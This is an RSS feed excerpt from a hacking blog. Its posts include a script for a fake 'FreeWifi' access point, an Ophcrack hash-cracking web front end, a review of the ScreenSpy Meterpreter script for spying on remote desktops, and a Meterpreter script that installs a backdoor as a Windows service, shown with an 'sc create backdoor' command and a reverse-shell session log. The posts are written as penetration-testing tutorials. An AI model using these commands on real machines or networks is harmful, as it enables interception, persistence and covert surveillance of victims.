<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Putting Wlan In Monitor Mode...&quot;</span><br />
airmon-ng stop wlan1 <span style="color: #666666; font-style: italic;"># Change to your wlan interface</span><br />
<span style="color: #c20cb9; font-weight: bold;">sleep</span> <span style="color: #000000;">5</span>;<br />
airmon-ng start wlan1 <span style="color: #666666; font-style: italic;"># Change to your wlan interface</span><br />
<span style="color: #c20cb9; font-weight: bold;">sleep</span> <span style="color: #000000;">5</span>;<br />
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Starting Fake AP...&quot;</span><br />
airbase-ng <span style="color: #660033;">-e</span> FreeWifi <span style="color: #660033;">-c</span> <span style="color: #000000;">11</span> <span style="color: #660033;">-v</span> wlan1 <span style="color: #000000; font-weight: bold;">&amp;</span>amp; <span style="color: #666666; font-style: italic;"># Change essid, channel and interface</span><br />
<span style="color: #c20cb9; font-weight: bold;">sleep</span> <span style="color: #000000;">5</span>;<br />
<br />
<span style="color: #c20cb9; font-weight: bold;">ifconfig</span> at0 up<br />
<span style="color: #c20cb9; font-weight: bold;">ifconfig</span> at0 10.0.0.254 netmask 255.255.255.0 <span style="color: #666666; font-style: italic;"># Change IP addresses as configured in your dhcpd.conf</span><br />
route add <span style="color: #660033;">-net</span> 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.254<br />
<br />
<span style="color: #c20cb9; font-weight: bold;">sleep</span> <span style="color: #000000;">5</span>;<br />
<br />
iptables <span style="color: #660033;">--flush</span><br />
iptables <span style="color: #660033;">--table</span> nat <span style="color: #660033;">--flush</span><br />
iptables <span style="color: #660033;">--delete-chain</span><br />
iptables <span style="color: #660033;">--table</span> nat <span style="color: #660033;">--delete-chain</span><br />
iptables <span style="color: #660033;">-P</span> FORWARD ACCEPT<br />
iptables <span style="color: #660033;">-t</span> nat <span style="color: #660033;">-A</span> POSTROUTING <span style="color: #660033;">-o</span> eth3 <span style="color: #660033;">-j</span> MASQUERADE <span style="color: #666666; font-style: italic;"># Change eth3 to your internet facing interface</span><br />
<br />
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt; <span style="color: #ff0000;">'/var/lib/dhcp3/dhcpd.leases'</span><br />
<span style="color: #c20cb9; font-weight: bold;">ln</span> <span style="color: #660033;">-s</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>run<span style="color: #000000; font-weight: bold;">/</span>dhcp3-server<span style="color: #000000; font-weight: bold;">/</span>dhcpd.pid <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>run<span style="color: #000000; font-weight: bold;">/</span>dhcpd.pid<br />
dhcpd3 <span style="color: #660033;">-d</span> <span style="color: #660033;">-f</span> <span style="color: #660033;">-cf</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>dhcp3<span style="color: #000000; font-weight: bold;">/</span>dhcpd.conf at0 <span style="color: #000000; font-weight: bold;">&amp;</span>amp;<br />
<br />
<span style="color: #c20cb9; font-weight: bold;">sleep</span> <span style="color: #000000;">5</span>;<br />
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;1&quot;</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt; <span style="color: #000000; font-weight: bold;">/</span>proc<span style="color: #000000; font-weight: bold;">/</span>sys<span style="color: #000000; font-weight: bold;">/</span>net<span style="color: #000000; font-weight: bold;">/</span>ipv4<span style="color: #000000; font-weight: bold;">/</span>ip_forward</div></td></tr></tbody></table></div>
<div class="tweetthis" style="text-align:left;"><p> <a class="tt" href="http://twitter.com/intent/tweet?text=Setup+a+Fake+Access+Point+With+BackTrack5+http%3A%2F%2Fexploit.co.il%2F%3Fp%3D2257" title="Post to Twitter"><img class="nothumb" src="http://exploit.co.il/wp-content/plugins/tweet-this/icons/en/twitter/tt-twitter-micro4.png" alt="Post to Twitter" /></a></p></div><div class='wpfblike' style='height: 40px;'><fb:like href='http://exploit.co.il/hacking/set-fake-access-point-backtrack5/' layout='default' show_faces='false' width='400' action='like' colorscheme='light' send='false' /></div>]]></content:encoded>
			<wfw:commentRss>http://exploit.co.il/hacking/set-fake-access-point-backtrack5/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Resolver</title>
		<link>http://exploit.co.il/hacking/resolver/</link>
		<comments>http://exploit.co.il/hacking/resolver/#comments</comments>
		<pubDate>Fri, 01 Apr 2011 20:20:50 +0000</pubDate>
		<dc:creator>NightRanger</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[.net]]></category>
		<category><![CDATA[application]]></category>
		<category><![CDATA[back resolving]]></category>
		<category><![CDATA[dns]]></category>
		<category><![CDATA[dns tool]]></category>
		<category><![CDATA[freeware]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[ptr]]></category>
		<category><![CDATA[resolver]]></category>
		<category><![CDATA[tool]]></category>
		<category><![CDATA[vb]]></category>
		<category><![CDATA[visual basic]]></category>

		<guid isPermaLink="false">http://exploit.co.il/?p=2199</guid>
		<description><![CDATA[I needed a simple tool that can preform a reverse dns lookup for a given IP address or for a range of IP&#8217;s in order to find its PTR. Usually I use Linux which has several tools for querying DNS, One of my ﻿favourite tools is the &#8220;host&#8221; command which can be used for this task: root@bt"&#62;root@bt:~# host ...]]></description>
				<content:encoded><![CDATA[<p>I needed a simple tool that can preform a reverse dns lookup for a given IP address or for a range of IP&#8217;s in order to find its PTR.</p>
<p>Usually I use Linux which has several tools for querying DNS, One of my ﻿favourite tools is the &#8220;host&#8221; command which can be used for this task:</p>
<pre>root@bt"&gt;root@bt:~# host 8.8.8.8
8.8.8.8.in-addr.arpa domain name pointer google-public-dns-a.google.com.</pre>
<p>Along with some bash scripting it can be used for checking multiple IP&#8217;s</p>
<p>I really needed a tool that can do the same on the Windows OS, so i decided to write Resolver&#8230;</p>
<p><strong><span style="text-decoration: underline;">Resolver features:</span></strong></p>
<ul>
<li>Resolve a Single IP</li>
<li>Resolve an IP Range</li>
<li>Resolve IP&#8217;s provided in a text file</li>
<li>Export Results to a text file</li>
<li>Copy results to Clipboard</li>
<li>DNS Records brute force</li>
</ul>
<p><img class="aligncenter" title="Resolver" src="https://sourceforge.net/dbimage.php?id=302325" alt="" width="640" height="322" /></p>
<p>&nbsp;</p>
<p><span style="text-decoration: underline;"><strong>Version has been updated to 1.0.2</strong></span></p>
<ul>
<li>Added auto copy to clipboard when resolving a single ip</li>
<li>Added the ability to copy a selected row using mouse double click in range / list mode</li>
<li>Added IP address Validation in single IP and IP range modes</li>
</ul>
<p><span style="text-decoration: underline;"><strong>Version has been updated to 1.0.3</strong></span></p>
<ul>
<li>Added DNS Records dictionary brute force</li>
<li>Made some changes to GUI</li>
</ul>
<p>Resolver can be downloaded from here:</p>
<div class="download_box"><a href="http://sourceforge.net/projects/exploitresolver" target="_blank">http://sourceforge.net/projects/exploitresolver</a></div>
<p><a href="http://exploit.co.il/wp-content/uploads/2011/04/range.png"></a></p>
<div id="_mcePaste" class="mcePaste" style="position: absolute; width: 1px; height: 1px; overflow: hidden; top: 0px; left: -10000px;">﻿</div>
<div class="tweetthis" style="text-align:left;"><p> <a class="tt" href="http://twitter.com/intent/tweet?text=Resolver+http%3A%2F%2Fexploit.co.il%2F%3Fp%3D2199" title="Post to Twitter"><img class="nothumb" src="http://exploit.co.il/wp-content/plugins/tweet-this/icons/en/twitter/tt-twitter-micro4.png" alt="Post to Twitter" /></a></p></div><div class='wpfblike' style='height: 40px;'><fb:like href='http://exploit.co.il/hacking/resolver/' layout='default' show_faces='false' width='400' action='like' colorscheme='light' send='false' /></div>]]></content:encoded>
			<wfw:commentRss>http://exploit.co.il/hacking/resolver/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Wophcrack &#8211; Ophcrack web interface</title>
		<link>http://exploit.co.il/hacking/wophcrack-ophcrack-web-interface/</link>
		<comments>http://exploit.co.il/hacking/wophcrack-ophcrack-web-interface/#comments</comments>
		<pubDate>Tue, 01 Mar 2011 08:58:22 +0000</pubDate>
		<dc:creator>NightRanger</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[backtrack]]></category>
		<category><![CDATA[hash]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[lm]]></category>
		<category><![CDATA[ntlm]]></category>
		<category><![CDATA[online hash cracker]]></category>
		<category><![CDATA[ophcrack]]></category>
		<category><![CDATA[ophcrack-cli]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[rainbow crack]]></category>
		<category><![CDATA[rainbow tables]]></category>
		<category><![CDATA[rcrack]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[tables]]></category>
		<category><![CDATA[web interface]]></category>

		<guid isPermaLink="false">http://exploit.co.il/?p=2041</guid>
		<description><![CDATA[Rainbow tables are really useful when cracking password hashes, One disadvantage of these tables is their size which can get up to tens and even hundreds of gigs. I really liked the Offensive security Crackpot online hash cracker and  i thought it would  be really nice to have a web interface for my rainbow tables which i can access from web ...]]></description>
				<content:encoded><![CDATA[<p>Rainbow tables are really useful when cracking password hashes, One disadvantage of these tables is their size which can get up to tens and even hundreds of gigs.</p>
<p>I really liked the <a href="http://cracker.offensive-security.com/" target="_blank"><span style="color: #3366ff;">Offensive security Crackpot online hash cracker</span></a> and  i thought it would  be really nice to have a web interface for my rainbow tables which i can access from web anywhere without having to carry them with me whenever i need them.</p>
<p>When cracking lm/ntlm hashes i really like using <a href="http://ophcrack.sourceforge.net/" target="_blank"><span style="color: #3366ff;">Ophcrack</span></a> which provides a free GUI and CLI software along with  some <a href="http://ophcrack.sourceforge.net/tables.php"><span style="color: #3366ff;">free and paid tables</span></a>.</p>
<p>I wrote a quick and dirty PHP based web frontend for <a href="http://ophcrack.sourceforge.net/" target="_blank"><span style="color: #3366ff;">Ophcrack</span></a> called Wophcrack, <strong>I must say i am not a programmer and i  am sure this could be done more efficiently and elegantly</strong>, anyway&#8230;its working fine <img src='http://exploit.co.il/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> , I thought maybe someone will find it useful so i decided to share it here.</p>
<p><a href="http://exploit.co.il/wp-content/uploads/2011/01/wophcrack11.jpg"><img class="size-full wp-image-2048 alignnone" title="wophcrack" alt="" src="http://exploit.co.il/wp-content/uploads/2011/01/wophcrack11.jpg" width="686" height="407" /></a></p>
<p>Wophcrack was designed to work on <a href="http://www.backtrack-linux.org/" target="_blank"><span style="color: #3366ff;">Backtrack 4 R2</span></a>, Although it can be install on any Linux distribution with some small adjustments, Wophcrack can also easily edited to support <span style="color: #3366ff;"><a title="http://project-rainbowcrack.com/" href="http://" target="_blank"><span style="color: #3366ff;">Rainbow crack</span></a>.</span></p>
<p><strong><span style="color: #ff0000;">Please read the requirements and installation notes before using Wophcrack.</span></strong></p>
<p><strong><span style="color: #ff0000;"> Wophcrack will require some manual code adjustments to suite you environment.</span></strong></p>
<p><span style="color: #ff0000;"><strong><br />
</strong></span></p>
<h3 class="toggle"><a href="#">Wophcrack Backtrack Installation</a></h3><div class="toggle_content" style="display: none;"><div class="block"></p>
<p><strong>1. Download and Install ophcrack-cli</strong></p>
<p>Backtrack doesn&#8217;t includes ophcrack-cli by default, you will need to download and install it manually</p>
<p><strong>Get ophcrack-cli <a href="http://packages.debian.org/sid/i386/ophcrack-cli/download" target="_blank">HERE</a></strong></p>
<pre>root@Blackbox:~/OphcrackWeb# dpkg -i ophcrack-cli_3.3.0-1_i386.deb</pre>
<p><strong>2. Configure cron</strong></p>
<p>Give <strong><span style="color: #3366ff;">www-data</span> </strong>user (apache) permissions to use cron</p>
<pre>root@Blackbox:~# echo www-data &gt; /etc/cron.allow</pre>
<p>Auto start cron service on startup</p>
<pre>root@Blackbox:~# update-rc.d cron defaults</pre>
<p>Start the cron service</p>
<pre>root@Blackbox:~# /etc/init.d/cron start</pre>
<p><strong>3. Create and import database</strong></p>
<p>Create the database</p>
<pre><strong>root@Blackbox:~# <span style="color: #ff0000;">mysql -u root -p</span></strong>

Enter password:

Welcome to the MySQL monitor.  Commands end with ; or \g.

Your MySQL connection id is 34

Server version: 5.0.67-0ubuntu6 (Ubuntu)

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql&gt; <strong><span style="color: #ff0000;">CREATE DATABASE cracker;</span></strong>

Query OK, 1 row affected (0.04 sec)</pre>
<p>Import Wophcrack sql data</p>
<pre>root@Blackbox:/var/www# <strong><span style="color: #ff0000;">mysql -u root -p cracker &lt; cracker.sql</span></strong></pre>
<p><strong><br />
</strong></p>
<p>Auto start mysql service on startup</p>
<pre>root@Blackbox:~# update-rc.d mysql defaults</pre>
<p>Start the mysql service</p>
<pre>root@Blackbox:~# /etc/init.d/mysql start</pre>
<p><strong>4. Configure Mail notifications</strong></p>
<p>make sure your dns is configured properly in /etc/resolv.conf</p>
<p>edit  &#8221;<strong>/etc/hosts&#8221; </strong>and add at the top the following line with your ip address, hostname and domain name.</p>
<p><strong>your-eth-ip   hostname.domain.com  hostname</strong></p>
<p>Auto start sendmail service on startup</p>
<pre>root@Blackbox:~# update-rc.d sendmail defaults</pre>
<p>reStart the sendmail service</p>
<pre>root@Blackbox:~# /etc/init.d/sendmail restart</pre>
<p>You will also need to edit Wophcrack &#8220;<strong><span style="color: #3366ff;">rc.sh</span></strong>&#8221; file with you email address and domain <strong><span style="color: #3366ff;">line 8</span></strong>:</p>
<pre>sendEmail -f <span style="color: #ff0000;"><strong>cracker@domain.com</strong></span> -u 'Hash Result' -t $mail &lt; /tmp/output.txt</pre>
<p><strong>5. Configure apache</strong></p>
<p>Auto start apache service on startup</p>
<pre>root@Blackbox:~# update-rc.d apache2 defaults</pre>
<p>Start the apache service</p>
<pre>root@Blackbox:~# /etc/init.d/apache start</pre>
<p><strong>6. Edit Wophcrack files</strong></p>
<p><strong><span style="color: #ff0000;">Wophcrack is designed to work from the &#8220;/var/www folder&#8221; in case you would like to move them into another dolder you will have to make some changes</span></strong></p>
<p>Wophcrack will assume that your ophcrack rainbow tables home directory is located in &#8220;<strong><span style="color: #3366ff;">/pentest/RainbowTables</span></strong>&#8221; and each table files will be located in a sub folder with the following names:</p>
<p>tables_vista_free</p>
<p>tables_xp_free_fast</p>
<p>tables_xp_free_small</p>
<p>Vista_special</p>
<p>XP_special</p>
<p>In case you would like to place the tables in a different directory you will need to edit the following files:</p>
<p><strong><span style="color: #3366ff;">index.php start from line 60:</span></strong></p>
<div id="_mcePaste">&lt;option value=&#8221;<span style="color: #ff0000;"><strong>tables_xp_free_small</strong></span>&#8220;&gt;XP Free Small&lt;/option&gt; &lt;option value=&#8221;<span style="color: #ff0000;"><strong>tables_xp_free_fast</strong></span>&#8220;&gt;XP Free Fast&lt;/option&gt; &lt;option value=&#8221;<span style="color: #ff0000;"><strong>XP_special</strong></span>&#8220;&gt;XP Special&lt;/option&gt; &lt;option value=&#8221;<span style="color: #ff0000;"><strong>tables_vista_free</strong></span>&#8220;&gt;Vista Free&lt;/option&gt; &lt;option value=&#8221;<span style="color: #ff0000;"><strong>Vista_special</strong></span>&#8220;&gt;Vista Special&lt;/option&gt;</div>
<p>You will also need to change path in the &#8220;<strong>rc.sh</strong>&#8221; file on line 3:</p>
<pre>ophcrack-cli -g -d <span style="color: #ff0000;"><strong>/pentest/passwords/RainbowTables/</strong></span> -t <span style="color: #ff0000;"><strong>/pentest/passwords/RainbowTables</strong></span>/$1 -f /tmp/temp.txt -o /tmp/output.txt</pre>
<p><strong>In case you plan to place Wophcrack in a directory which is not &#8220;/var/www&#8221; you will need to edit the following:</strong></p>
<p><strong><span style="color: #3366ff;">index.php line 41:</span></strong></p>
<pre>exec("echo \"* * * * * <strong><span style="color: #ff0000;">/var/www</span></strong>/rc.sh " . $info['hashset'] . "\" | crontab -");</pre>
<p><strong><span style="color: #3366ff;">rc.sh line 10:</span></strong></p>
<pre>php <strong><span style="color: #ff0000;">/var/www</span></strong>/check.php</pre>
<p><strong><span style="color: #3366ff;">check.php line 22:</span></strong></p>
<pre>exec("php <strong><span style="color: #ff0000;">/var/www/</span></strong>checkagain.php");</pre>
<p><strong><span style="color: #3366ff;">checkagain.php line 28:</span></strong></p>
<pre>exec("echo \"* * * * * <strong><span style="color: #ff0000;">/var/www</span></strong>/rc.sh " . $info['hashset'] . "\" | crontab -");</pre>
<p></div></div>
<p><span style="color: #ff0000;"><strong>I uploaded the  wrong file version by mistake, Sorry for the inconvenience.</strong></span></p>
<p>You can download Wophcrack Source Here:</p>
<div class="download_box"> <a href="https://sourceforge.net/projects/wophcrack/">https://sourceforge.net/projects/wophcrack/</a> </div>
<div class="attachments"><h2>Wophcrack</h2><dl class="attachments attachments-large"><dt class="icon"><a title="Wophcrack" href="http://exploit.co.il/hacking/wophcrack-ophcrack-web-interface/?aid=2194&amp;sa=0"><img src="http://exploit.co.il/wp-content/plugins/eg-attachments/img/flags/zip.png" width="48" height="48" alt="Wophcrack is a Web based frontend for Ophcrack-cli" /></a></dt><dd class="caption"><strong>Title</strong> : <a title="Wophcrack" href="http://exploit.co.il/hacking/wophcrack-ophcrack-web-interface/?aid=2194&amp;sa=0">Wophcrack</a><br /><strong>Caption</strong> : Wophcrack<br /><strong>File name</strong> : wophcrack.zip<br /><strong>Size</strong> : 17 kB</dd></dl></div>
<div class="tweetthis" style="text-align:left;"><p> <a class="tt" href="http://twitter.com/intent/tweet?text=Wophcrack+%E2%80%93+Ophcrack+web+interface+http%3A%2F%2Fexploit.co.il%2F%3Fp%3D2041" title="Post to Twitter"><img class="nothumb" src="http://exploit.co.il/wp-content/plugins/tweet-this/icons/en/twitter/tt-twitter-micro4.png" alt="Post to Twitter" /></a></p></div><div class='wpfblike' style='height: 40px;'><fb:like href='http://exploit.co.il/hacking/wophcrack-ophcrack-web-interface/' layout='default' show_faces='false' width='400' action='like' colorscheme='light' send='false' /></div>]]></content:encoded>
			<wfw:commentRss>http://exploit.co.il/hacking/wophcrack-ophcrack-web-interface/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>New home for exploit.co.il</title>
		<link>http://exploit.co.il/networking/misc/home-exploitcoil/</link>
		<comments>http://exploit.co.il/networking/misc/home-exploitcoil/#comments</comments>
		<pubDate>Sat, 27 Nov 2010 17:00:03 +0000</pubDate>
		<dc:creator>NightRanger</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[announcement]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[hosting]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[update]]></category>

		<guid isPermaLink="false">http://exploit.co.il/?p=2033</guid>
		<description><![CDATA[You have probably noticed the blog was down for a couple of weeks, it was due to an ttack on godaddy&#8217;s server. afer that attack i decided to move the blog to a more controlled hosting environment with the ability to manage logs and security measures. due to the new security measures taken visitors may experience trouble accessing certain areas or ...]]></description>
				<content:encoded><![CDATA[<p>You have probably noticed the blog was down for a couple of weeks, it was due to an ttack on godaddy&#8217;s server.</p>
<p>afer that attack i decided to move the blog to a more controlled hosting environment with the ability to manage logs and security measures.</p>
<p>due to the new security measures taken visitors may experience trouble accessing certain areas or preforming various operations on the blog</p>
<p>i am sorry for any inconvertible that it may cause.</p>
<p>Please let me know of you are getting error pages, getting blocked for any reason so i could fix it.</p>
<p>it may take some time till all security measures are properly implemented without causing any trouble for visitors.</p>
<p>for any question or problem please contact me at :  <span style="color: #3366ff;">s h a i [at] e x p lo i t . c o . i l</span></p>
<p>appreciate your understanding.</p>
<p>Shai.</p>
<div class="tweetthis" style="text-align:left;"><p> <a class="tt" href="http://twitter.com/intent/tweet?text=New+home+for+exploit.co.il+http%3A%2F%2Fexploit.co.il%2F%3Fp%3D2033" title="Post to Twitter"><img class="nothumb" src="http://exploit.co.il/wp-content/plugins/tweet-this/icons/en/twitter/tt-twitter-micro4.png" alt="Post to Twitter" /></a></p></div><div class='wpfblike' style='height: 40px;'><fb:like href='http://exploit.co.il/networking/misc/home-exploitcoil/' layout='default' show_faces='false' width='400' action='like' colorscheme='light' send='false' /></div>]]></content:encoded>
			<wfw:commentRss>http://exploit.co.il/networking/misc/home-exploitcoil/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ScreenSpy &#8211; New Meterpreter Script Review</title>
		<link>http://exploit.co.il/hacking/screenspy-meterpreter-script-review/</link>
		<comments>http://exploit.co.il/hacking/screenspy-meterpreter-script-review/#comments</comments>
		<pubDate>Fri, 26 Nov 2010 15:01:37 +0000</pubDate>
		<dc:creator>NightRanger</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[meterpreter]]></category>
		<category><![CDATA[msf]]></category>
		<category><![CDATA[roni bachar]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[screenspy]]></category>
		<category><![CDATA[screenview]]></category>
		<category><![CDATA[script]]></category>

		<guid isPermaLink="false">http://exploit.co.il/?p=2006</guid>
		<description><![CDATA[Yesterday a new Meterpreter script named &#8220;ScreenSpy&#8221; was added to the Metasploit redmine. The script was written by Roni Bachar, You can read the official release notes on his Blog. This Meterpreter script captures images on remote host desktop at a predefined interval and then displays the images sequence . This emulates a live view of the remote host ...]]></description>
				<content:encoded><![CDATA[<p>Yesterday a new Meterpreter script named &#8220;ScreenSpy&#8221; was added to the Metasploit redmine.</p>
<p>The script was written by Roni Bachar, You can read the official release notes on his <a href="http://ronibachar.blogspot.com/2010/11/screenspy-meterpreter-script.html" target="_blank"><span style="color: #3366ff;">Blog</span></a>.</p>
<p>This Meterpreter script captures images on remote host desktop at a predefined interval and then displays the images sequence .</p>
<p>This emulates a live view of the remote host desktop, I have tested the script under ubuntu 10.04 64 bit system and it is working great on a lan connection, The display rate can be optimized  for  a wan connection by adjusting the delay setting:</p>
<pre>meterpreter &gt; run screenspy -h

Screenspy v1.0
--------------

Usage: bgrun screenspy -t 20 -d 1 =&gt; will take interactive Screenshot every sec for 20 sec long.
Usage: bgrun screenspy -t 60 -d 5 =&gt; will take interactive Screenshot every 5 sec for 1 min long.
Usage: bgrun screenspy -s windows -d 1 -t 60 =&gt; will take interactive Screenshot every 1 sec for 1 min long, windows local mode.

Author:Roni Bachar (@roni_bachar) roni.bachar.blog@gmail.com

OPTIONS:

    -d   The Delay in seconds between each screenshot.
    -h        Help menu.
    -s   The local system linux/windows
    -t   The time to run in sec.</pre>
<p>Here is a video demo of the script:</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="640" height="505" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/YQ2vHbHhw5o?fs=1&amp;hl=en_US&amp;rel=0&amp;hd=1&amp;color1=0x2b405b&amp;color2=0x6b8ab6" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="640" height="505" src="http://www.youtube.com/v/YQ2vHbHhw5o?fs=1&amp;hl=en_US&amp;rel=0&amp;hd=1&amp;color1=0x2b405b&amp;color2=0x6b8ab6" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>The script should work on linux and windows version of Metasploit you can get the latest version here:</p>
<div class="download_box"><a href="http://www.metasploit.com/redmine/attachments/download/677/screenspy.rb" target="_blank">http://www.metasploit.com/redmine/attachments/download/677/screenspy.rb</a></div>
<p><strong><span style="text-decoration: underline;"><span style="color: #ff0000;">Update:</span></span></strong></p>
<p>New feature added to the script by Xavier Poli, Recording of live session by rendering the images into an avi video file .</p>
<pre>bgrun screenspy.rb -v -i -t 20 -d 1 =&gt; will only take interactive Screenshot every sec for 20 sec long. Verbose mode activated.
bgrun screenspy.rb -v -i -t 60 -d 5 =&gt; will only take interactive Screenshot every 5 sec for 1 min long. Verbose mode activated.
bgrun screenspy.rb -v -i -s windows -d 1 -t 60 =&gt; will only take interactive Screenshot every 1 sec for 1 min long, windows local mode. Verbose mode activated.
bgrun screenspy.rb -v -r -t 20 -d 1 =&gt; will only generate a recorded video (20 sec long, 1 screenshot every sec) of the session at the end with a default resolution at 640x480. Verbose mode activated.
bgrun screenspy.rb -v -i -r -t 20 -x 800x600 -d 1 =&gt; will take interactive Screenshot every sec for 20 sec long and will generate a recorded video of the session at the end with a 800x600 resolution. Verbose mode activated.</pre>
<p>watch his video :</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="640" height="505" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/_xhbHa8x7Cg?fs=1&amp;hl=en_US&amp;rel=0&amp;hd=1&amp;color1=0x2b405b&amp;color2=0x6b8ab6" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="640" height="505" src="http://www.youtube.com/v/_xhbHa8x7Cg?fs=1&amp;hl=en_US&amp;rel=0&amp;hd=1&amp;color1=0x2b405b&amp;color2=0x6b8ab6" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>Get the latest version of the script:</p>
<div class="download_box"><a href="https://www.metasploit.com/redmine/attachments/download/678/screenspy.rb" target="_blank">https://www.metasploit.com/redmine/attachments/download/678/screenspy.rb</a></div>
<div class="tweetthis" style="text-align:left;"><p> <a class="tt" href="http://twitter.com/intent/tweet?text=ScreenSpy+%E2%80%93+New+Meterpreter+Script+Review+http%3A%2F%2Fexploit.co.il%2F%3Fp%3D2006" title="Post to Twitter"><img class="nothumb" src="http://exploit.co.il/wp-content/plugins/tweet-this/icons/en/twitter/tt-twitter-micro4.png" alt="Post to Twitter" /></a></p></div><div class='wpfblike' style='height: 40px;'><fb:like href='http://exploit.co.il/hacking/screenspy-meterpreter-script-review/' layout='default' show_faces='false' width='400' action='like' colorscheme='light' send='false' /></div>]]></content:encoded>
			<wfw:commentRss>http://exploit.co.il/hacking/screenspy-meterpreter-script-review/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Meterpreter Script &#8211; Windows Service Creator</title>
		<link>http://exploit.co.il/hacking/meterpreter-script-windows-service-creator/</link>
		<comments>http://exploit.co.il/hacking/meterpreter-script-windows-service-creator/#comments</comments>
		<pubDate>Sat, 16 Oct 2010 13:25:32 +0000</pubDate>
		<dc:creator>NightRanger</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[meterpreter]]></category>
		<category><![CDATA[msf]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[sc]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[service]]></category>

		<guid isPermaLink="false">http://exploit.co.il/?p=1971</guid>
		<description><![CDATA[There are several ways to Backdoor a machine that has been compromised, One of them is placing your executable as a windows service. The advantages are that user doesn&#8217;t have to log on in order for the service to run, non like placing it in the startup via registry which requires user to log in. ...]]></description>
				<content:encoded><![CDATA[<p>There are several ways to Backdoor a machine that has been compromised, One of them is placing your executable as a windows service.<br />
The advantages are that user doesn&#8217;t have to log on in order for the service to run, non like placing it in the startup via registry which requires user to log in.</p>
<p>Doing it manually&#8230;</p>
<p>1. Create the service</p>
<pre>sc create backdoor binPath= "cmd /K start c:\windows\system32\backdoor.exe" start= auto error= ignore</pre>
<p>2. Start the service</p>
<pre>net start backdoor</pre>
<p>This method should work on both Win XP and Win 7, The only disadvantage is that this command requires administrative or system privileges.<br />
Metasploit comes with many useful meterpreter scripts, I was surprised that it does not include an automated way to create a system service,</p>
<p>I decided to create one on my own and share it with ya all.</p>
<p>I would like to thank <strong><span style="color: #3366ff;">Humble Desser</span></strong> for tweaking the script and adding the ability to use service names with spaces and a service description.</p>
<p>hope you&#8217;ll find it useful</p>
<pre>meterpreter &gt; getuid
Server username: COMPUTER\Administrator

meterpreter &gt; run sc -n "metasploit service" -d "reverse shell meterpreter service" -p c:\\pay.exe
[*] Creating Service meter...
[*] Starting the meter Service...
[*] Service meter Successfully Created...
meterpreter &gt;
[*] Sending stage (749056 bytes) to 192.168.1.107
[*] Meterpreter session 2 opened (192.168.1.100:4444 -&gt; 192.168.1.107:1091) at 2010-10-16 14:56:23 +0200</pre>
<p><iframe src="http://player.vimeo.com/video/15898055?byline=0&amp;portrait=0&amp;color=c9ff23" width="640" height="364" frameborder="0"></iframe>
<p><a href="http://vimeo.com/15898055">Meterpreter Script &#8211; Windows Service Creator</a> from <a href="http://vimeo.com/user3849446">NightRanger</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
